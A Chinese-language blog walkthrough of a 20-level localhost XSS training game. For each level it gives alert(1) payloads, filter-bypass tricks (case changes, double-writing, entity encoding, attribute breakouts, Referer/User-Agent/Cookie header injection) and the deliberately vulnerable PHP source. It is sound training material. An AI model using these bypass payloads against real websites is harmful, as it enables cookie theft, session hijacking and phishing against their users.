XSS學(xué)習(xí)之xss20

前言

這是比較簡單的xss練習(xí)小游戲,非常適合入門。一直以來,對xss的內(nèi)容總感覺有一些屏障,應(yīng)該是因為動手實踐太少。所以,趁此機會,好好學(xué)習(xí)一番,打好基礎(chǔ),以后再繼續(xù)深入。

關(guān)于xss

1.概念:XSS攻擊全稱跨站腳本攻擊(Cross-Site Scripting,XSS)是一種經(jīng)常出現(xiàn)在 WEB 應(yīng)用程序中的計算機安全漏洞。其是由于 WEB 應(yīng)用程序?qū)τ脩舻妮斎脒^濾不足而產(chǎn)生的。攻擊者利用網(wǎng)站漏洞把惡意的腳本代碼注入到網(wǎng)頁中,當其他用戶瀏覽這些網(wǎng)頁時,就會執(zhí)行其中的惡意代碼,對受害用戶可能采取 Cookies 資料竊取、會話劫持、釣魚欺騙等各種攻擊。

2.分類:

  • 反射型 XSS:攻擊者通過特定手法(如電子郵件),誘使用戶去訪問一個包含惡意代碼的 URL,當受害者點擊這些專門設(shè)計的鏈接的時候,惡意代碼會直接在受害者主機上的瀏覽器執(zhí)行。通常出現(xiàn)在網(wǎng)站的搜索欄、用戶登錄口等地方,常用來竊取客戶端 Cookies 或進行釣魚欺騙。
  • 持久型 XSS:也叫存儲型跨站腳本,此類 XSS 不需要用戶單擊特定 URL 就能執(zhí)行跨站腳本,攻擊者事先將惡意代碼上傳或儲存到漏洞服務(wù)器中,只要受害者瀏覽包含此惡意代碼的頁面就會執(zhí)行惡意代碼。一般出現(xiàn)在網(wǎng)站留言、評論、博客日志等交互處,惡意腳本存儲到客戶端或者服務(wù)端的數(shù)據(jù)庫中。
  • DOM XSS:DOM-Based XSS 是基于 DOM 文檔對象模型的一種漏洞,受客戶端瀏覽器的腳本代碼所影響。

3.利用:

  • Cookies 竊取 :獲取客戶端的 Cookies 信息
  • 會話劫持 :接管現(xiàn)存的動態(tài)會話的過程
  • 釣魚 :包括重定向釣魚、HTML 注入式釣魚、iframe 釣魚、Flash 釣魚等
  • 網(wǎng)頁掛馬:一般都是通過篡改網(wǎng)頁的方式來實現(xiàn)的,如在 XSS 中使用 <iframe>標簽。
  • DOS 與 DDOS:注入惡意 JavaScript 代碼,可能會引起一些拒絕服務(wù)攻擊。
  • XSS 蠕蟲 :通過精心構(gòu)造的 XSS 代碼,可以實現(xiàn)非法轉(zhuǎn)賬、篡改信息、刪除文章、自我復(fù)制等諸多功能。

開始實踐

level1

URL中有一個name參數(shù),既然是練習(xí)xss,直接使用<script>alert(1)</script>試試,即 http://localhost/xss/level1.php?name=<script>alert(1)</script> 成功。

查看關(guān)鍵代碼:

<h1 align=center>歡迎來到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>

直接輸出,沒有任何過濾,所以可執(zhí)行。再看看提交信息:


本來為用戶名的內(nèi)容被執(zhí)行。


level2

1.使用<script>alert(1)</script>試試,未成功,發(fā)現(xiàn):

<>都被轉(zhuǎn)義了,查看源碼:

<h1 align=center>歡迎來到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

使用了htmlspecialchars($str)函數(shù),這個函數(shù)的作用是把一些預(yù)定義的字符轉(zhuǎn)換為 HTML 實體。
預(yù)定義字符包括:

  • & (和號)成為 &amp;
  • " (雙引號)成為 &quot;
  • ' (單引號)成為 '
  • < (小于)成為 &lt;
  • > (大于)成為 &gt;

注:要把特殊的 HTML 實體轉(zhuǎn)換回字符,請使用 htmlspecialchars_decode() 函數(shù)。

2.htmlspecialchars($str)函數(shù)的語法為:htmlspecialchars(string,flags,character-set,double_encode) 主要看前面兩個參數(shù):
string:必需,規(guī)定要轉(zhuǎn)換的字符串。
flags:可選,規(guī)定如何處理引號、無效的編碼以及使用哪種文檔類型。這個參數(shù)主要看可用的引號類型:

  • ENT_COMPAT - 默認。僅編碼雙引號。
  • ENT_QUOTES - 編碼雙引號和單引號。
  • ENT_NOQUOTES - 不編碼任何引號。

關(guān)于其他內(nèi)容,可查看:PHP htmlspecialchars() 函數(shù)

3.知道了htmlspecialchars($str)函數(shù)的作用,那該如何繞過并執(zhí)行呢。其實這題還用不到它??梢钥吹剑辉谳敵鎏庍M行了轉(zhuǎn)義,在輸入處可利用??蓪?code>input標簽提前閉合。構(gòu)造:"><script>alert(1)</script><" 成功。解析為:


level3

1.提交上一關(guān)的payload,發(fā)現(xiàn):


看來這次是兩處都進行了HTML實體轉(zhuǎn)換。看看源碼,的確如此,值得注意的為單引號閉合。

<h1 align=center>歡迎來到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";

2.不過,還有有很多JS事件可以利用。這里列舉幾個:
onmouseenter=alert() //當鼠標移動到就會觸發(fā)
onclick=alert() //鼠標點擊時就會觸發(fā)
onchange=alert() //在域的內(nèi)容改變時發(fā)生
oninput=alert() //在用戶輸入時觸發(fā)
onmouseover=alert()//鼠標移動到就會觸發(fā)

注意:只有在htmlspecialchars($str)函數(shù)未指定第二個參數(shù)flag時,即ENT_COMPAT 時,可用于閉合單引號情況的輸入。如:此次輸入的value就是單引號閉合

3.使用1'onclick='window.alert()試試,成功


level4

1.先提交上題的1'onclick='window.alert(1)試試,發(fā)現(xiàn)閉合為雙引號:

2.改用雙引號,1"onclick="window.alert(1)成功。

發(fā)現(xiàn)這個題也是沒有在輸入處進行HTML實體轉(zhuǎn)換??梢钥纯丛创a:

<h1 align=center>歡迎來到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

這里多了對<>的過濾$str2=str_replace(">","",$str); $str3=str_replace("<","",$str2); 但我們所構(gòu)造的也已經(jīng)繞過了。


level5

1.提交上題的payload,發(fā)現(xiàn):


這種過濾比較麻煩,不好繞過。先試試大小寫:1"Onclick="window.alert(1) 沒用,提示同樣的錯誤。

2.說明帶有on的事件都不可以使用了,測試發(fā)現(xiàn)<script也不可用(前面的script變了,但后面的沒變,說明不是針對script,而是<script)。

繼續(xù)觀察發(fā)現(xiàn),在輸入處并沒有對<>進行轉(zhuǎn)義。所以,這里使用另一種方法:javascript:alert(1) 構(gòu)造:"><a href="javascript:alert('1')">try</a>" 結(jié)果如下:

點擊插入的超鏈接,成功。查看解析為:


3.現(xiàn)在看看源碼:

<h1 align=center>歡迎來到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

和猜測的一樣,通過strtolower($_GET["keyword"]);將輸入轉(zhuǎn)為小寫,即無法大小寫繞過。并通過str_replace()過濾<scripton


level6

1.還是提交上題的playload,發(fā)現(xiàn):


發(fā)現(xiàn)href被過濾。

2.因為題目是由簡到難的,所以前面的題試過的就不再試了,多半是被過濾的,比如on。那還如何繞過呢,想到了轉(zhuǎn)碼。試試,轉(zhuǎn)一個字符就好,可在這里轉(zhuǎn):Unicode編碼轉(zhuǎn)換 打臉,識別不了(因為標簽屬性沒了),基礎(chǔ)不行啊。

3.那先看看源碼吧:

<h1 align=center>歡迎來到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

過濾的確實多了,但是少了大小寫過濾,原來是在這等著,想多了。那就大小寫繞過吧:"><a Href="javascript:alert('1')">try</a>// 成功。


level7

1.提交"><a Href="javascript:alert('1')">try</a>// ,發(fā)現(xiàn):

這個是直接把href和script去掉了,這種很好繞過,直接雙寫就好了,構(gòu)造:"><a hrhrefef="javasscriptcript:alert('1')">try</a>// 成功,解析為:

2.現(xiàn)在看一下源碼:

<h1 align=center>歡迎來到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

沒什么好說的,這種過濾用處不大。


level8

1.提交"><a Href="javascript:alert('1')">try</a>// ,發(fā)現(xiàn):

觀察發(fā)現(xiàn),我們應(yīng)該在友情鏈接處想辦法(只對雙引號進行了轉(zhuǎn)義和其他標簽進行了過濾,而且本身就有href標簽)

2.現(xiàn)在,我們需要做的就是繞過script的過濾,用我們之前說的編碼,這里不用擔心識別不了,同樣,轉(zhuǎn)一個字符即可。提交為:java&#115;cript:alert(1)。s轉(zhuǎn)為unicode,即&#115; 成功,解析為:

顯示如此,但是在執(zhí)行時會自動轉(zhuǎn)化并識別。

3.最后,看一下源碼:

<h1 align=center>歡迎來到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>

level9

1.和level8很像,提交javascript:alert(1),發(fā)現(xiàn):

鏈接不合法

2.既然如此,那加上http://https://試試,構(gòu)造為:javascript:alert(1)/*http://www*/

3.現(xiàn)在只需要繞過script就好了,用上一題的方法,構(gòu)造:java&#115;cript:alert(1)/*http://www*/ 成功,解析為:

注:因為考慮到判斷是否為合法鏈接的條件是檢測輸入中是否存在http://https://,或是檢測是否為http://https://開頭。后者比較麻煩,所以直接試前者。加上注釋是為了不影響執(zhí)行,也可用//http://www*

4.查看一下源碼:

<title>歡迎來到level9</title>
</head>
<body>
<h1 align=center>歡迎來到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的鏈接不合法?有沒有!">友情鏈接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>

和level8基本沒差,就多了是否存在http://。

5.那如果是判斷是否為http://https://開頭應(yīng)該如何繞過呢?
目前沒想到,望諸位不吝賜教。


level10

1.提交:<script>alert(1)</script> 發(fā)現(xiàn):

2.有三個參數(shù),都試試:keyword=<script>alert(1)</script>&t_link=<script>alert(1)</script>"type="txt"&t_history=<script>alert(1)</script>"type="txt"&t_sort=<script>alert(1)</script>"type="txt" 因為三個參數(shù)的類型都為隱藏,所以把他們都設(shè)為txt后才能顯示出來(會忽略后面的type="hidden")。如圖:

3.解析為:


也就是說只有t_sort的輸入處可以利用,因為過濾了<>,構(gòu)造:"onclick="window.alert(1)"type="txt" 成功,解析為:

4.最后看一下源碼:

<h1 align=center>歡迎來到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

5.發(fā)現(xiàn),其實只需要輸入兩個參數(shù),keywordt_sort。


level11

1.提交<script>alert(1)</script> 發(fā)現(xiàn):

2.有4個參數(shù),都試試吧,看是哪個:keyword=<script>alert(1)</script>&t_link=<script>alert(1)</script>"type="txt"&t_history=<script>alert(1)</script>"type="txt"&t_sort=<script>alert(1)</script>"type="txt"&t_ref=<script>alert(1)</script>"type="txt"

還是t_sort處,并且過濾了<,>"

3.沒有頭緒,先看源碼吧:

<h1 align=center>歡迎來到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

4.原來還有$_SERVER['HTTP_REFERER'],t_sort這里繞不過啊,轉(zhuǎn)義了雙引號,又不是單引號閉合。說明這題主要指向$_SERVER['HTTP_REFERER']

5.在php中,可以使用$_SERVER[‘HTTP_REFERER’]來獲取HTTP_REFERER信息。關(guān)于HTTP_REFERER,php文檔描述如下:

引導(dǎo)用戶代理到當前頁的前一頁的地址(如果存在)。由 user agent 設(shè)置決定。并不是所有的用戶代理都會設(shè)置該項,有的還提供了修改
HTTP_REFERER 的功能。簡言之,該值并不可信。

6.綜上,此題我們需要在HTTP_REFERER上動手。由于規(guī)律和上一題一樣,直接使用"onclick="window.alert(1)"type="text存入Referer中,如圖:

7.成功,此題告訴我們要學(xué)會在http各種首部字段做文章,看一下解析:



level12

1.進入后,直接先查看解析:


2.看來這次是利用用戶代理,即$_SERVER['HTTP_USER_AGENT'] 我們需要在user agent上輸入。

3.直接將上題的payload輸入執(zhí)行,因為這主要是考各種首部字段,即


4.成功,看一下解析:


5.最后,看一下源碼:

<h1 align=center>歡迎來到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

6.過濾都一樣的,只是利用的首部字段不同了。


level13

1.直接先看解析,這次應(yīng)該是Cookie,而且對應(yīng)的內(nèi)容為call me maybe?不知道對應(yīng)那個參數(shù)。

2.可以試一下,把所有 參數(shù)都進行傳值,keyword=aaa1"type="text&t_link=aaa2"type="text&t_history=aaa3"type="text&t_sort=aaa4"type="text&t_cook=aaa5"type="text如圖:

沒有用,看來獲取cookies的參數(shù)不是由以上任何參數(shù)獲取。

3.沒辦法,用神奇burpsuite抓包看看到底是何參數(shù)吧:


可以發(fā)現(xiàn),是user 那我們直接在burpsuite中修改cookie吧:

成功。
4.當然,也可以在火狐插件HackBar(上面用的就是此插件)的cookies處提交:user="onclick="window.alert(1)"type="text 現(xiàn)在查看一下解析:

5.最后看看源碼吧:

<h1 align=center>歡迎來到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

可以看到,是通過user接收cookie,過濾和上面幾題還是一樣的。


level14

1.這個題大致看了一下,發(fā)現(xiàn)是要我們?nèi)ピL問網(wǎng)站http://www.exifviewer.org/ 可是已經(jīng)打不開了。剛開始并不知是想干嘛,后來才發(fā)現(xiàn)是利用關(guān)于圖片的exif屬性。

2.關(guān)于exif,百度一下:

可交換圖像文件格式(英語:Exchangeable image file format,官方簡稱Exif),是專門為數(shù)碼相機的照片設(shè)定的,可以記錄數(shù)碼照片的屬性信息和拍攝數(shù)據(jù)。

3.這下明確了,應(yīng)該是想讓我們修改圖片的exif信息,上傳到相應(yīng)網(wǎng)站,然后達到執(zhí)行XSS的效果。

4.大概找了一下,沒有找到相應(yīng)的平臺,但發(fā)現(xiàn)了一個很棒的查看exif信息的網(wǎng)站:圖蟲EXIF查看器alpha版 可看到的信息非常詳細。

5.最后,根據(jù)題目的考點,找了幾個關(guān)于修改圖片exif信息的工具,喜歡的可以自己下載玩一玩。

  • PowerExif
  • MagicEXIF元數(shù)據(jù)編輯器

level15

1.先查看一下響應(yīng)


2.發(fā)現(xiàn)有個"ng-include",這是什么,先查一下:


相關(guān)參數(shù)說明:


3.現(xiàn)在,我就可以嘗試讓其包含某個可以執(zhí)行xss漏洞的文件,然后讓包含的文件調(diào)用alert方法就可以了。使用level1.php試試,構(gòu)造:?src='level1.php?keyword=<script>alert(1)</script>' 發(fā)現(xiàn) <>被過濾了。

4.那使用onclick試試,選擇level2.php 構(gòu)造?src='level2.php?keyword="onclick="alert(123)' 雙引號也是被解析的,但是成功了。解析為:

5.有點迷,看一下源碼:

<html ng-app>
<head>
        <meta charset="utf-8">
        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()  
{     
confirm("完成的不錯!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>歡迎來到level15</title>
</head>
<h1 align=center>歡迎來到第15關(guān),自己想個辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

發(fā)現(xiàn)使用了htmlspecialchars($str) 按理應(yīng)該不會通過,可是過了,是否說明通過ng-include包含進來的文件會自動識別html實體,然后執(zhí)行。那第一個又不行,查了好久,也不知道怎么回事,先放著。


level16

1.提交<script>alert(1)</script> 發(fā)現(xiàn)將script/ 都轉(zhuǎn)為空格了。

2.但是<>沒有過濾,后還發(fā)現(xiàn)空格也會轉(zhuǎn)義,這里用Blanks=('%09', '%0A', '%0B', '%0C', '%0D', '%0a')代替 。而且,這里使用一種新的事件。
onerror 事件: 會在文檔或圖像加載過程中發(fā)生錯誤時被觸發(fā)。在裝載文檔或圖像的過程中如果發(fā)生了錯誤,就會調(diào)用該事件句柄。

語法:onerror="SomeJavaScriptCode" 后面的 SomeJavaScriptCode必需。規(guī)定該事件發(fā)生時執(zhí)行的 JavaScript。

支持該事件的 HTML 標簽:<img>, <object>, <style>
支持該事件的 JavaScript 對象:window, image

3.這里我們用<img>,構(gòu)造:<img%0asrc=1%0aonerror="alert(1)"> 成功,查看解析:

4.查看一下源碼:

<h1 align=center>歡迎來到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace(" ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

發(fā)現(xiàn)有兩個空格?其實不是,在Python中看看是什么


5.因此,實際是過濾了script,空格,/,橫向制表這四個字符(這個和做題沒有關(guān)系,看到了就順便了解一下而已)


level17

1.進入,發(fā)現(xiàn)http://localhost/xss/level17.php?arg01=a&arg02=b兩個參數(shù)分別為a,b,再看看響應(yīng):

發(fā)現(xiàn)a和b都顯示了,可以考慮在a,b處構(gòu)造,而且不用考慮引號閉合問題(用空格隔開就好)。

2.<embed> 標簽是定義嵌入的內(nèi)容,比如插件。這里插件就是xsf01.swf

3.構(gòu)造:arg01=a&arg02=1%20onmouseover=alert(1) (這里直接把空格替代了,后來測試發(fā)現(xiàn)不替代也行)當鼠標移動到插件上時,成功,查看解析:

4.查看源碼:

<h1 align=center>歡迎來到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

兩個參數(shù)都進行了HTML實體轉(zhuǎn)化。


level18

1.發(fā)現(xiàn)和level17差不多啊,直接提交上題的payload,即rg01=a&arg02=1 onmouseover=alert(1)成功,解析為:

2.看看源碼:

<h1 align=center>歡迎來到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

和上題就只有插件不同。


level19

1.這題和下題相似,都是比上面兩個題多了雙引號閉合。這個也是上面一直沒有解決的問題。后來才發(fā)現(xiàn)原來這幾題考的的關(guān)于flash xss的,這個方面就先不看了,直接看看源碼吧

<h1 align=center>歡迎來到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

level20

源碼:

<h1 align=center>歡迎來到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>

后記

原本不打算寫這篇文章的,因為太菜,怕寫得不好。后來想了想,還是記錄一下吧,不然忘得太快,到時候想復(fù)習(xí)看一下都找不到,所以還是寫了。當然,也希望能幫到有需要的朋友。此外,文章的內(nèi)容可能有錯或者做法比較愚蠢的,還望這位不吝賜教,多謝。


最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

友情鏈接更多精彩內(nèi)容